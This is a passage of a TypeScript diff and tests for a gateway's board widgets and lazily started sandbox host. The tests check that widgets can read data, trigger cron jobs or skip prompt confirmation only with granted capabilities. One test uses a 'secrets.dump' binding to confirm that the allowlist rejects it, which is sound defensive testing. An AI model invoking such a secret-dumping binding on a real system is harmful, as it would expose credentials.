it("binds state.emit notices to the widget view ticket", async () => {
|
||||
const { invoke } = createHarness();
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "counter",
|
||||
content: { kind: "html", html: "ok" },
|
||||
});
|
||||
const board = await invoke("board.get", { sessionKey: "session" });
|
||||
const snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const ticket = snapshot.widgets[0]?.viewTicket;
|
||||
|
||||
const response = await invoke("board.event", { ticket, payload: { count: 2 } });
|
||||
|
||||
expect(response.mock.calls[0]?.[1]).toEqual({ ok: true, appended: true });
|
||||
expect(peekSystemEvents("session")).toEqual(['[dashboard] {"count":2} on widget counter']);
|
||||
});
|
||||
|
||||
it("skips prompt confirmation only for an explicitly granted prompt tool", async () => {
|
||||
const { invoke, store } = createHarness();
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "plain",
|
||||
content: { kind: "html", html: "plain" },
|
||||
});
|
||||
let board = await invoke("board.get", { sessionKey: "session" });
|
||||
let snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const plain = await invoke("board.prompt.authorize", {
|
||||
ticket: snapshot.widgets.find((widget) => widget.name === "plain")?.viewTicket,
|
||||
});
|
||||
expect(plain.mock.calls[0]?.[1]).toEqual({ confirmationRequired: true });
|
||||
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "approved",
|
||||
content: { kind: "html", html: "approved" },
|
||||
declared: { tools: ["prompt"] },
|
||||
});
|
||||
await invoke("board.widget.grant", {
|
||||
sessionKey: "session",
|
||||
name: "approved",
|
||||
decision: "granted",
|
||||
revision: 1,
|
||||
instanceId: store.getSnapshot("session").widgets.find((widget) => widget.name === "approved")
|
||||
?.instanceId,
|
||||
});
|
||||
board = await invoke("board.get", { sessionKey: "session" });
|
||||
snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const approved = await invoke("board.prompt.authorize", {
|
||||
ticket: snapshot.widgets.find((widget) => widget.name === "approved")?.viewTicket,
|
||||
});
|
||||
expect(approved.mock.calls[0]?.[1]).toEqual({ confirmationRequired: false });
|
||||
});
|
||||
|
||||
it("enforces data bindings against the granted tool set", async () => {
|
||||
const readDataBinding = vi.fn(async () => ({ sessions: ["one"] }));
|
||||
const { invoke, store } = createHarness(undefined, { readDataBinding });
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "reader",
|
||||
content: { kind: "html", html: "reader" },
|
||||
});
|
||||
let board = await invoke("board.get", { sessionKey: "session" });
|
||||
let snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const denied = await invoke("board.data.read", {
|
||||
ticket: snapshot.widgets[0]?.viewTicket,
|
||||
bindingId: "sessions.list",
|
||||
params: { limit: 2 },
|
||||
});
|
||||
expect(denied.mock.calls[0]?.[0]).toBe(false);
|
||||
expect(readDataBinding).not.toHaveBeenCalled();
|
||||
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "reader",
|
||||
content: { kind: "html", html: "reader" },
|
||||
declared: { tools: ["sessions.list"] },
|
||||
});
|
||||
await invoke("board.widget.grant", {
|
||||
sessionKey: "session",
|
||||
name: "reader",
|
||||
decision: "granted",
|
||||
revision: 2,
|
||||
instanceId: store.getSnapshot("session").widgets[0]?.instanceId,
|
||||
});
|
||||
board = await invoke("board.get", { sessionKey: "session" });
|
||||
snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const allowed = await invoke("board.data.read", {
|
||||
ticket: snapshot.widgets[0]?.viewTicket,
|
||||
bindingId: "sessions.list",
|
||||
params: { limit: 2 },
|
||||
});
|
||||
expect(allowed.mock.calls[0]?.[1]).toEqual({ sessions: ["one"] });
|
||||
expect(readDataBinding).toHaveBeenCalledWith(
|
||||
"sessions.list",
|
||||
{ limit: 2 },
|
||||
expect.objectContaining({ params: expect.any(Object) }),
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects unknown data bindings inside the gateway allowlist boundary", async () => {
|
||||
const { invoke, store } = createHarness();
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "reader",
|
||||
content: { kind: "html", html: "reader" },
|
||||
declared: { tools: ["secrets.dump"] },
|
||||
});
|
||||
await invoke("board.widget.grant", {
|
||||
sessionKey: "session",
|
||||
name: "reader",
|
||||
decision: "granted",
|
||||
revision: 1,
|
||||
instanceId: store.getSnapshot("session").widgets[0]?.instanceId,
|
||||
});
|
||||
const board = await invoke("board.get", { sessionKey: "session" });
|
||||
const snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const response = await invoke("board.data.read", {
|
||||
ticket: snapshot.widgets[0]?.viewTicket,
|
||||
bindingId: "secrets.dump",
|
||||
});
|
||||
expect(response).toHaveBeenCalledWith(
|
||||
false,
|
||||
undefined,
|
||||
expect.objectContaining({ message: expect.stringContaining("not allowed") }),
|
||||
);
|
||||
});
|
||||
|
||||
it("runs only the exact granted cron job capability", async () => {
|
||||
const triggerCronJob = vi.fn(async (jobId: string) => ({ ok: true, jobId }));
|
||||
const { invoke, store } = createHarness(undefined, { triggerCronJob });
|
||||
await invoke("board.widget.put", {
|
||||
sessionKey: "session",
|
||||
name: "runner",
|
||||
content: { kind: "html", html: "runner" },
|
||||
declared: { tools: ["cron.trigger:job-1"] },
|
||||
});
|
||||
await invoke("board.widget.grant", {
|
||||
sessionKey: "session",
|
||||
name: "runner",
|
||||
decision: "granted",
|
||||
revision: 1,
|
||||
instanceId: store.getSnapshot("session").widgets[0]?.instanceId,
|
||||
});
|
||||
const board = await invoke("board.get", { sessionKey: "session" });
|
||||
const snapshot = board.mock.calls[0]?.[1] as BoardSnapshot;
|
||||
const ticket = snapshot.widgets[0]?.viewTicket;
|
||||
|
||||
const denied = await invoke("board.action", {
|
||||
ticket,
|
||||
action: "cron.trigger",
|
||||
jobId: "job-2",
|
||||
});
|
||||
expect(denied.mock.calls[0]?.[0]).toBe(false);
|
||||
expect(triggerCronJob).not.toHaveBeenCalled();
|
||||
|
||||
const allowed = await invoke("board.action", {
|
||||
ticket,
|
||||
action: "cron.trigger",
|
||||
jobId: "job-1",
|
||||
});
|
||||
expect(allowed.mock.calls[0]?.[1]).toEqual({ ok: true, jobId: "job-1" });
|
||||
expect(triggerCronJob).toHaveBeenCalledWith("job-1", expect.any(Object));
|
||||
});
|
||||
|
||||
it("caps board.event payloads at 8KB and notices at 500 characters", async () => {
|
||||
const { invoke } = createHarness();
|
||||
await invoke("board.widget.put", {
|
||||
|
||||
@@ -2,26 +2,44 @@ import {
|
||||
ErrorCodes,
|
||||
errorShape,
|
||||
formatValidationErrors,
|
||||
type BoardActionParams,
|
||||
type BoardDataReadParams,
|
||||
type BoardEventParams,
|
||||
type BoardPromptAuthorizeParams,
|
||||
type BoardWidgetAppViewParams,
|
||||
type BoardUpdateParams,
|
||||
type BoardWidgetGrantParams,
|
||||
type BoardWidgetMaterializedPutParams,
|
||||
type BoardWidgetPutParams,
|
||||
validateBoardActionParams,
|
||||
validateBoardDataReadParams,
|
||||
validateBoardEventParams,
|
||||
validateBoardGetParams,
|
||||
validateBoardPromptAuthorizeParams,
|
||||
validateBoardUpdateParams,
|
||||
validateBoardWidgetContent,
|
||||
validateBoardWidgetAppViewParams,
|
||||
validateBoardWidgetGrantParams,
|
||||
validateBoardWidgetPutParams,
|
||||
} from "../../../packages/gateway-protocol/src/index.js";
|
||||
import {
|
||||
boardWidgetHasGrantedTool,
|
||||
normalizeBoardWidgetDeclared,
|
||||
} from "../../boards/board-capabilities.js";
|
||||
import { BoardValidationError } from "../../boards/board-layout.js";
|
||||
import { appendBoardEventNotice, BoardEventPayloadError } from "../../boards/board-notices.js";
|
||||
import type { BoardStore } from "../../boards/board-store.js";
|
||||
import { readCanvasDocumentHtmlSource } from "../../canvas/documents.js";
|
||||
import { buildWidgetDocument } from "../../canvas/wrap.js";
|
||||
import { readBoardDataBinding, triggerBoardCronJob } from "../board-host-tools.js";
|
||||
import { buildBoardWidgetSandboxPath } from "../board-sandbox.js";
|
||||
import { boardStore } from "../board-store.js";
|
||||
import { buildBoardWidgetFrameUrl, createBoardViewTicket } from "../board-view-ticket.js";
|
||||
import {
|
||||
BOARD_VIEW_TICKET_TTL_MS,
|
||||
buildBoardWidgetFrameUrl,
|
||||
createBoardViewTicket,
|
||||
} from "../board-view-ticket.js";
|
||||
import { resolveAuthorizedBoardWidgetView } from "../board-widget-view.js";
|
||||
import {
|
||||
requireMcpAppInteraction,
|
||||
resolveMcpAppActiveView,
|
||||
@@ -37,6 +55,12 @@ type McpAppDependencies = {
|
||||
resolveAllowedToolNames: typeof resolveMcpAppAllowedToolNames;
|
||||
mintFromTranscript: typeof mintMcpAppViewFromTranscript;
|
||||
};
|
||||
type BoardDataReader = typeof readBoardDataBinding;
|
||||
type BoardCronTrigger = typeof triggerBoardCronJob;
|
||||
type BoardHandlerDependencies = Partial<McpAppDependencies> & {
|
||||
readDataBinding?: BoardDataReader;
|
||||
triggerCronJob?: BoardCronTrigger;
|
||||
};
|
||||
|
||||
const defaultMcpAppDependencies: McpAppDependencies = {
|
||||
resolveActiveView: resolveMcpAppActiveView,
|
||||
@@ -74,15 +98,26 @@ export function createBoardHandlers(
|
||||
store: BoardStore,
|
||||
appendNotice: NoticeAppender = appendBoardEventNotice,
|
||||
readCanvasDocument: CanvasDocumentReader = readCanvasDocumentHtmlSource,
|
||||
mcpApp: McpAppDependencies = defaultMcpAppDependencies,
|
||||
dependencies: BoardHandlerDependencies = {},
|
||||
): GatewayRequestHandlers {
|
||||
const mcpApp: McpAppDependencies = {
|
||||
resolveActiveView:
|
||||
dependencies.resolveActiveView ?? defaultMcpAppDependencies.resolveActiveView,
|
||||
resolveAllowedToolNames:
|
||||
dependencies.resolveAllowedToolNames ?? defaultMcpAppDependencies.resolveAllowedToolNames,
|
||||
mintFromTranscript:
|
||||
dependencies.mintFromTranscript ?? defaultMcpAppDependencies.mintFromTranscript,
|
||||
};
|
||||
const readDataBinding = dependencies.readDataBinding ?? readBoardDataBinding;
|
||||
const triggerCronJob = dependencies.triggerCronJob ?? triggerBoardCronJob;
|
||||
return {
|
||||
"board.get": ({ params, respond }) => {
|
||||
"board.get": async ({ params, respond, context }) => {
|
||||
if (!validateBoardGetParams(params)) {
|
||||
invalidParams("board.get", validateBoardGetParams.errors, respond);
|
||||
return;
|
||||
}
|
||||
const snapshot = store.getSnapshot(params.sessionKey);
|
||||
let sandboxPort = context.getMcpAppSandboxPort?.();
|
||||
for (const widget of snapshot.widgets) {
|
||||
if (widget.grantState !== "none" && widget.grantState !== "granted") {
|
||||
continue;
|
||||
@@ -91,6 +126,14 @@ export function createBoardHandlers(
|
||||
if (!document || document.revision !== widget.revision) {
|
||||
continue;
|
||||
}
|
||||
if (sandboxPort === undefined && context.ensureSandboxHostPort) {
|
||||
try {
|
||||
sandboxPort = await context.ensureSandboxHostPort();
|
||||
} catch (error) {
|
||||
respondBoardError(error, respond);
|
||||
return;
|
||||
}
|
||||
}
|
||||
const { ticket } = createBoardViewTicket({
|
||||
sessionKey: snapshot.sessionKey,
|
||||
name: widget.name,
|
||||
@@ -102,6 +145,17 @@ export function createBoardHandlers(
|
||||
name: widget.name,
|
||||
ticket,
|
||||
});
|
||||
widget.viewTicket = ticket;
|
||||
widget.viewTicketTtlMs = BOARD_VIEW_TICKET_TTL_MS;
|
||||
widget.viewGeneration = document.viewGeneration;
|
||||
if (sandboxPort !== undefined) {
|
||||
widget.sandboxUrl = buildBoardWidgetSandboxPath(document);
|
||||
widget.sandboxPort = sandboxPort;
|
||||
const configuredOrigin = context.getRuntimeConfig?.().mcp?.apps?.sandboxOrigin;
|
||||
if (configuredOrigin) {
|
||||
widget.sandboxOrigin = new URL(configuredOrigin).origin;
|
||||
}
|
||||
}
|
||||
}
|
||||
respond(true, snapshot);
|
||||
},
|
||||
@@ -187,10 +241,24 @@ export function createBoardHandlers(
|
||||
invalidParams("board.widget.put content", validateBoardWidgetContent.errors, respond);
|
||||
return;
|
||||
}
|
||||
declared = normalizeBoardWidgetDeclared(declared);
|
||||
const materializedContent: BoardWidgetMaterializedPutParams["content"] =
|
||||
content.kind === "html"
|
||||
? {
|
||||
kind: "html",
|
||||
// Authority-bearing bridge code must precede every admitted
|
||||
// byte, including complete HTML and managed Canvas documents.
|
||||
// The wrapper is idempotent so an already-wrapped Canvas view
|
||||
// keeps one effective bridge owner.
|
||||
html: buildWidgetDocument(requestParams.title ?? requestParams.name, content.html, {
|
||||
connectOrigins: declared?.netOrigins,
|
||||
}),
|
||||
}
|
||||
: content;
|
||||
const boardParams: BoardWidgetMaterializedPutParams = {
|
||||
...requestWithoutDeclared,
|
||||
sessionKey: boardSessionKey,
|
||||
content,
|
||||
content: materializedContent,
|
||||
...(declared ? { declared } : {}),
|
||||
};
|
||||
const snapshot = store.putWidget(boardParams);
|
||||
@@ -289,17 +357,25 @@ export function createBoardHandlers(
|
||||
}
|
||||
try {
|
||||
const boardParams = params as BoardEventParams;
|
||||
const snapshot = store.getSnapshot(boardParams.sessionKey);
|
||||
const widget = snapshot.widgets.some((candidate) => candidate.name === boardParams.widget);
|
||||
if (!widget) {
|
||||
throw new BoardValidationError(
|
||||
"not_found",
|
||||
`board widget not found: ${boardParams.widget}`,
|
||||
);
|
||||
}
|
||||
const identity =
|
||||
"ticket" in boardParams
|
||||
? resolveAuthorizedBoardWidgetView(store, boardParams.ticket)
|
||||
: (() => {
|
||||
const snapshot = store.getSnapshot(boardParams.sessionKey);
|
||||
const widget = snapshot.widgets.some(
|
||||
(candidate) => candidate.name === boardParams.widget,
|
||||
);
|
||||
if (!widget) {
|
||||
throw new BoardValidationError(
|
||||
"not_found",
|
||||
`board widget not found: ${boardParams.widget}`,
|
||||
);
|
||||
}
|
||||
return { sessionKey: snapshot.sessionKey, name: boardParams.widget };
|
||||
})();
|
||||
const appended = appendNotice({
|
||||
sessionKey: snapshot.sessionKey,
|
||||
widget: boardParams.widget,
|
||||
sessionKey: identity.sessionKey,
|
||||
widget: identity.name,
|
||||
payload: boardParams.payload,
|
||||
});
|
||||
respond(true, { ok: true, appended });
|
||||
@@ -307,6 +383,75 @@ export function createBoardHandlers(
|
||||
respondBoardError(error, respond);
|
||||
}
|
||||
},
|
||||
"board.prompt.authorize": ({ params, respond }) => {
|
||||
if (!validateBoardPromptAuthorizeParams(params)) {
|
||||
invalidParams("board.prompt.authorize", validateBoardPromptAuthorizeParams.errors, respond);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const boardParams = params as BoardPromptAuthorizeParams;
|
||||
const { document } = resolveAuthorizedBoardWidgetView(store, boardParams.ticket);
|
||||
respond(true, {
|
||||
confirmationRequired: !boardWidgetHasGrantedTool(
|
||||
document.declared,
|
||||
document.grantState,
|
||||
"prompt",
|
||||
),
|
||||
});
|
||||
} catch (error) {
|
||||
respondBoardError(error, respond);
|
||||
}
|
||||
},
|
||||
"board.data.read": async (invocation) => {
|
||||
const { params, respond } = invocation;
|
||||
if (!validateBoardDataReadParams(params)) {
|
||||
invalidParams("board.data.read", validateBoardDataReadParams.errors, respond);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const boardParams = params as BoardDataReadParams;
|
||||
const bindingParams = boardParams.params ?? {};
|
||||
if (Buffer.byteLength(JSON.stringify(bindingParams), "utf8") > 8 * 1024) {
|
||||
throw new BoardValidationError(
|
||||
"invalid_operation",
|
||||
"board widget data binding params exceed 8192 UTF-8 bytes",
|
||||
);
|
||||
}
|
||||
const { document } = resolveAuthorizedBoardWidgetView(store, boardParams.ticket);
|
||||
if (
|
||||
!boardWidgetHasGrantedTool(document.declared, document.grantState, boardParams.bindingId)
|
||||
) {
|
||||
throw new BoardValidationError(
|
||||
"invalid_operation",
|
||||
`board widget tool is not granted: ${boardParams.bindingId}`,
|
||||
);
|
||||
}
|
||||
respond(true, await readDataBinding(boardParams.bindingId, bindingParams, invocation));
|
||||
} catch (error) {
|
||||
respondBoardError(error, respond);
|
||||
}
|
||||
},
|
||||
"board.action": async (invocation) => {
|
||||
const { params, respond } = invocation;
|
||||
if (!validateBoardActionParams(params)) {
|
||||
invalidParams("board.action", validateBoardActionParams.errors, respond);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const boardParams = params as BoardActionParams;
|
||||
const { document } = resolveAuthorizedBoardWidgetView(store, boardParams.ticket);
|
||||
const capability = `cron.trigger:${boardParams.jobId}`;
|
||||
if (!boardWidgetHasGrantedTool(document.declared, document.grantState, capability)) {
|
||||
throw new BoardValidationError(
|
||||
"invalid_operation",
|
||||
`board widget tool is not granted: ${capability}`,
|
||||
);
|
||||
}
|
||||
respond(true, await triggerCronJob(boardParams.jobId, invocation));
|
||||
} catch (error) {
|
||||
respondBoardError(error, respond);
|
||||
}
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -82,7 +82,8 @@ export const mcpAppHandlers: GatewayRequestHandlers = {
|
||||
}
|
||||
const updateModelContextSupported =
|
||||
interactive && active.runtime.mcpAppModelContextRevoked !== true;
|
||||
const sandboxPort = context.getMcpAppSandboxPort?.();
|
||||
const sandboxPort =
|
||||
context.getMcpAppSandboxPort?.() ?? (await context.ensureSandboxHostPort?.());
|
||||
if (sandboxPort === undefined) {
|
||||
throw new Error("MCP App sandbox listener is unavailable; restart the Gateway");
|
||||
}
|
||||
|
||||
@@ -149,6 +149,7 @@ export type GatewayRequestContext = {
|
||||
getRuntimeConfig: () => OpenClawConfig;
|
||||
notifyPluginMetadataChanged: () => void;
|
||||
getMcpAppSandboxPort?: () => number | undefined;
|
||||
ensureSandboxHostPort?: () => Promise<number>;
|
||||
resolveTerminalLaunchPolicy: (agentId?: string) => TerminalLaunchResolution;
|
||||
isTerminalEnabled: () => boolean;
|
||||
execApprovalManager?: ExecApprovalManager;
|
||||
|
||||
@@ -23,6 +23,7 @@ type GatewayRequestContextParams = {
|
||||
runtimeState: Pick<GatewayServerLiveState, "cronState" | "configReloader">;
|
||||
getRuntimeConfig: GatewayRequestContext["getRuntimeConfig"];
|
||||
getMcpAppSandboxPort?: GatewayRequestContext["getMcpAppSandboxPort"];
|
||||
ensureSandboxHostPort?: GatewayRequestContext["ensureSandboxHostPort"];
|
||||
resolveTerminalLaunchPolicy: GatewayRequestContext["resolveTerminalLaunchPolicy"];
|
||||
isTerminalEnabled: GatewayRequestContext["isTerminalEnabled"];
|
||||
execApprovalManager: GatewayRequestContext["execApprovalManager"];
|
||||
@@ -159,6 +160,7 @@ export function createGatewayRequestContext(
|
||||
notifyPluginMetadataChanged: () =>
|
||||
params.runtimeState.configReloader.notifyPluginMetadataChanged(),
|
||||
getMcpAppSandboxPort: params.getMcpAppSandboxPort,
|
||||
ensureSandboxHostPort: params.ensureSandboxHostPort,
|
||||
resolveTerminalLaunchPolicy: params.resolveTerminalLaunchPolicy,
|
||||
isTerminalEnabled: params.isTerminalEnabled,
|
||||
execApprovalManager: params.execApprovalManager,
|
||||
|
||||
@@ -20,7 +20,7 @@ import { createGatewayRuntimeStateForTest } from "./test-helpers.server-runtime-
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
listenGatewayHttpServer: vi.fn(
|
||||
async (_params: { bindHost: string; retryEaddrinuse?: boolean }) => {},
|
||||
async (_params: { bindHost: string; port?: number; retryEaddrinuse?: boolean }) => {},
|
||||
),
|
||||
resolveGatewayListenHosts: vi.fn(async (_bindHost: string) => ["127.0.0.1"]),
|
||||
}));
|
||||
@@ -118,6 +118,7 @@ describe("createGatewayRuntimeState", () => {
|
||||
});
|
||||
const runtimeState = await createGatewayRuntimeStateForTest(undefined, {
|
||||
log: { info: () => {}, warn },
|
||||
port: 18789,
|
||||
});
|
||||
|
||||
await expect(runtimeState.startListening()).resolves.toBeUndefined();
|
||||
@@ -125,7 +126,7 @@ describe("createGatewayRuntimeState", () => {
|
||||
expect(warn).toHaveBeenCalledWith(expect.stringContaining("failed to bind loopback alias ::1"));
|
||||
});
|
||||
|
||||
it("starts MCP Apps on a dedicated adjacent-port origin", async () => {
|
||||
it("starts the shared sandbox host on a dedicated adjacent-port origin", async () => {
|
||||
const runtimeState = await createGatewayRuntimeStateForTest(undefined, {
|
||||
cfg: { mcp: { apps: { enabled: true } } },
|
||||
port: 18789,
|
||||
@@ -149,4 +150,84 @@ describe("createGatewayRuntimeState", () => {
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("starts the shared sandbox host lazily when MCP Apps are disabled", async () => {
|
||||
const runtimeState = await createGatewayRuntimeStateForTest(undefined, {
|
||||
port: 18789,
|
||||
});
|
||||
|
||||
await runtimeState.startListening();
|
||||
|
||||
expect(runtimeState.getMcpAppSandboxPort()).toBeUndefined();
|
||||
expect(runtimeState.httpServers).toHaveLength(1);
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenCalledTimes(1);
|
||||
|
||||
await expect(runtimeState.ensureSandboxHostPort()).resolves.toBe(18790);
|
||||
expect(runtimeState.getMcpAppSandboxPort()).toBe(18790);
|
||||
expect(runtimeState.httpServers).toHaveLength(2);
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenNthCalledWith(
|
||||
2,
|
||||
expect.objectContaining({ bindHost: "127.0.0.1", port: 18790 }),
|
||||
);
|
||||
});
|
||||
|
||||
it("waits for every gateway bind host before freezing lazy sandbox listeners", async () => {
|
||||
mocks.resolveGatewayListenHosts.mockResolvedValue(["127.0.0.1", "::1"]);
|
||||
let releaseSecondBind: () => void = () => {};
|
||||
const secondBind = new Promise<void>((resolve) => {
|
||||
releaseSecondBind = resolve;
|
||||
});
|
||||
mocks.listenGatewayHttpServer.mockImplementation(async ({ bindHost, port }) => {
|
||||
if (bindHost === "::1" && port === 18789) {
|
||||
await secondBind;
|
||||
}
|
||||
});
|
||||
const runtimeState = await createGatewayRuntimeStateForTest(undefined, {
|
||||
port: 18789,
|
||||
});
|
||||
|
||||
const starting = runtimeState.startListening();
|
||||
await vi.waitFor(() =>
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ bindHost: "::1", port: 18789 }),
|
||||
),
|
||||
);
|
||||
const ensuring = runtimeState.ensureSandboxHostPort();
|
||||
await Promise.resolve();
|
||||
expect(mocks.listenGatewayHttpServer).not.toHaveBeenCalledWith(
|
||||
expect.objectContaining({ port: 18790 }),
|
||||
);
|
||||
|
||||
releaseSecondBind();
|
||||
await starting;
|
||||
await expect(ensuring).resolves.toBe(18790);
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ bindHost: "127.0.0.1", port: 18790 }),
|
||||
);
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ bindHost: "::1", port: 18790 }),
|
||||
);
|
||||
});
|
||||
|
||||
it("retries lazy sandbox startup after an occupied port clears", async () => {
|
||||
let sandboxPortOccupied = true;
|
||||
mocks.listenGatewayHttpServer.mockImplementation(async ({ port }) => {
|
||||
if (port === 18790 && sandboxPortOccupied) {
|
||||
sandboxPortOccupied = false;
|
||||
throw new Error("sandbox port occupied");
|
||||
}
|
||||
});
|
||||
const runtimeState = await createGatewayRuntimeStateForTest(undefined, {
|
||||
port: 18789,
|
||||
});
|
||||
|
||||
await expect(runtimeState.startListening()).resolves.toBeUndefined();
|
||||
await expect(runtimeState.ensureSandboxHostPort()).rejects.toThrow("sandbox port occupied");
|
||||
expect(runtimeState.httpServers).toHaveLength(1);
|
||||
|
||||
await expect(runtimeState.ensureSandboxHostPort()).resolves.toBe(18790);
|
||||
expect(runtimeState.getMcpAppSandboxPort()).toBe(18790);
|
||||
expect(runtimeState.httpServers).toHaveLength(2);
|
||||
expect(mocks.listenGatewayHttpServer).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
import type { AddressInfo } from "node:net";
|
||||
import type { Duplex } from "node:stream";
|
||||
import { WebSocketServer } from "ws";
|
||||
import { resolveMcpAppSandboxPort } from "../agents/mcp-app-sandbox.js";
|
||||
import { resolveSandboxHostPort } from "../agents/sandbox-host.js";
|
||||
import { isCoreCanvasHostEnabled } from "../canvas/config.js";
|
||||
import { resolveCanvasNodeCapability } from "../canvas/constants.js";
|
||||
import type { CliDeps } from "../cli/deps.types.js";
|
||||
@@ -29,7 +29,7 @@ import type { ChatAbortControllerEntry } from "./chat-abort.js";
|
||||
import type { ControlUiRootState } from "./control-ui.js";
|
||||
import type { HooksConfigResolved } from "./hooks.js";
|
||||
import type { AuthorizedGatewayHttpRequest } from "./http-auth-utils.js";
|
||||
import { createMcpAppSandboxHttpServer } from "./mcp-app-sandbox-http.js";
|
||||
import { createSandboxHostHttpServer } from "./mcp-app-sandbox-http.js";
|
||||
import { isLoopbackHost, resolveGatewayListenHosts } from "./net.js";
|
||||
import type {
|
||||
GatewayBroadcastFn,
|
||||
@@ -158,6 +158,7 @@ export async function createGatewayRuntimeState(params: {
|
||||
sessionMessageSubscribers: ReturnType<typeof createSessionMessageSubscriberRegistry>;
|
||||
getWorkerIngressEndpoint: () => { host: "127.0.0.1"; port: number } | undefined;
|
||||
getMcpAppSandboxPort: () => number | undefined;
|
||||
ensureSandboxHostPort: () => Promise<number>;
|
||||
}> {
|
||||
pinActivePluginHttpRouteRegistry(params.pluginRegistry);
|
||||
pinActivePluginSessionExtensionRegistry(params.pluginRegistry);
|
||||
@@ -335,15 +336,6 @@ export async function createGatewayRuntimeState(params: {
|
||||
gatewayHttpServers.push(httpServer);
|
||||
httpServers.push(httpServer);
|
||||
}
|
||||
const mcpAppSandboxServers =
|
||||
params.cfg.mcp?.apps?.enabled === true
|
||||
? bindHosts.map(() =>
|
||||
createMcpAppSandboxHttpServer(
|
||||
params.gatewayTls?.enabled ? params.gatewayTls.tlsOptions : undefined,
|
||||
),
|
||||
)
|
||||
: [];
|
||||
httpServers.push(...mcpAppSandboxServers);
|
||||
let workerIngressPort: number | undefined;
|
||||
const workerHttpServer = params.workerIngressEnabled
|
||||
? createHttpServer((_req, res) => {
|
||||
@@ -364,7 +356,89 @@ export async function createGatewayRuntimeState(params: {
|
||||
throw new Error("Gateway HTTP server failed to start");
|
||||
}
|
||||
let mcpAppSandboxPort: number | undefined;
|
||||
let sandboxHostStartPromise: Promise<number> | null = null;
|
||||
let startListeningPromise: Promise<void> | null = null;
|
||||
let startListeningComplete = false;
|
||||
const startSandboxHost = async (): Promise<number> => {
|
||||
if (sandboxHostStartPromise) {
|
||||
return await sandboxHostStartPromise;
|
||||
}
|
||||
// MCP Apps retain their eager startup path. Board-only gateways defer the
|
||||
// second listener until an admitted HTML widget actually needs isolation.
|
||||
sandboxHostStartPromise = (async () => {
|
||||
if (httpBindHosts.length === 0) {
|
||||
throw new Error("Gateway listener must start before the sandbox host");
|
||||
}
|
||||
const sandboxPort = resolveSandboxHostPort(params.port, params.cfg.mcp?.apps?.sandboxPort);
|
||||
const sandboxServers = bindHosts.map(() =>
|
||||
createSandboxHostHttpServer(
|
||||
params.gatewayTls?.enabled ? params.gatewayTls.tlsOptions : undefined,
|
||||
),
|
||||
);
|
||||
// Register before binding so normal runtime cleanup closes a partially
|
||||
// started multi-host listener after any later bind failure.
|
||||
httpServers.push(...sandboxServers);
|
||||
try {
|
||||
for (const host of httpBindHosts) {
|
||||
const index = bindHosts.indexOf(host);
|
||||
const server = sandboxServers[index];
|
||||
if (!server) {
|
||||
throw new Error(`Missing sandbox host HTTP server for bind host ${host}`);
|
||||
}
|
||||
await listenGatewayHttpServer({
|
||||
httpServer: server,
|
||||
bindHost: host,
|
||||
port: sandboxPort,
|
||||
retryEaddrinuse: false,
|
||||
serviceName: "MCP App sandbox",
|
||||
endpointScheme: params.gatewayTls?.enabled ? "https" : "http",
|
||||
});
|
||||
}
|
||||
} catch (error) {
|
||||
await Promise.all(
|
||||
sandboxServers.map(
|
||||
(server) =>
|
||||
new Promise<void>((resolve) => {
|
||||
if (!server.listening) {
|
||||
resolve();
|
||||
return;
|
||||
}
|
||||
server.close(() => resolve());
|
||||
}),
|
||||
),
|
||||
);
|
||||
for (const server of sandboxServers) {
|
||||
const index = httpServers.indexOf(server);
|
||||
if (index >= 0) {
|
||||
httpServers.splice(index, 1);
|
||||
}
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
mcpAppSandboxPort = sandboxPort;
|
||||
return sandboxPort;
|
||||
})();
|
||||
const startAttempt = sandboxHostStartPromise;
|
||||
void startAttempt.catch(() => {
|
||||
// Lazy startup failures are recoverable: the next admitted widget may
|
||||
// retry after an occupied port or other transient bind error clears.
|
||||
if (sandboxHostStartPromise === startAttempt) {
|
||||
sandboxHostStartPromise = null;
|
||||
}
|
||||
});
|
||||
return await startAttempt;
|
||||
};
|
||||
const ensureSandboxHostPort = async (): Promise<number> => {
|
||||
if (!startListeningComplete) {
|
||||
if (!startListeningPromise) {
|
||||
throw new Error("Gateway listener must start before the sandbox host");
|
||||
}
|
||||
// Gateway sockets begin accepting independently. Wait for every bind
|
||||
// host before freezing the shared sandbox listener set.
|
||||
await startListeningPromise;
|
||||
}
|
||||
return await startSandboxHost();
|
||||
};
|
||||
const startListening = async (): Promise<void> => {
|
||||
if (startListeningPromise) {
|
||||
await startListeningPromise;
|
||||
@@ -413,26 +487,8 @@ export async function createGatewayRuntimeState(params: {
|
||||
if (httpBindHosts.length === 0) {
|
||||
throw new Error("Gateway HTTP server failed to start");
|
||||
}
|
||||
if (mcpAppSandboxServers.length > 0) {
|
||||
mcpAppSandboxPort = resolveMcpAppSandboxPort(
|
||||
params.port,
|
||||
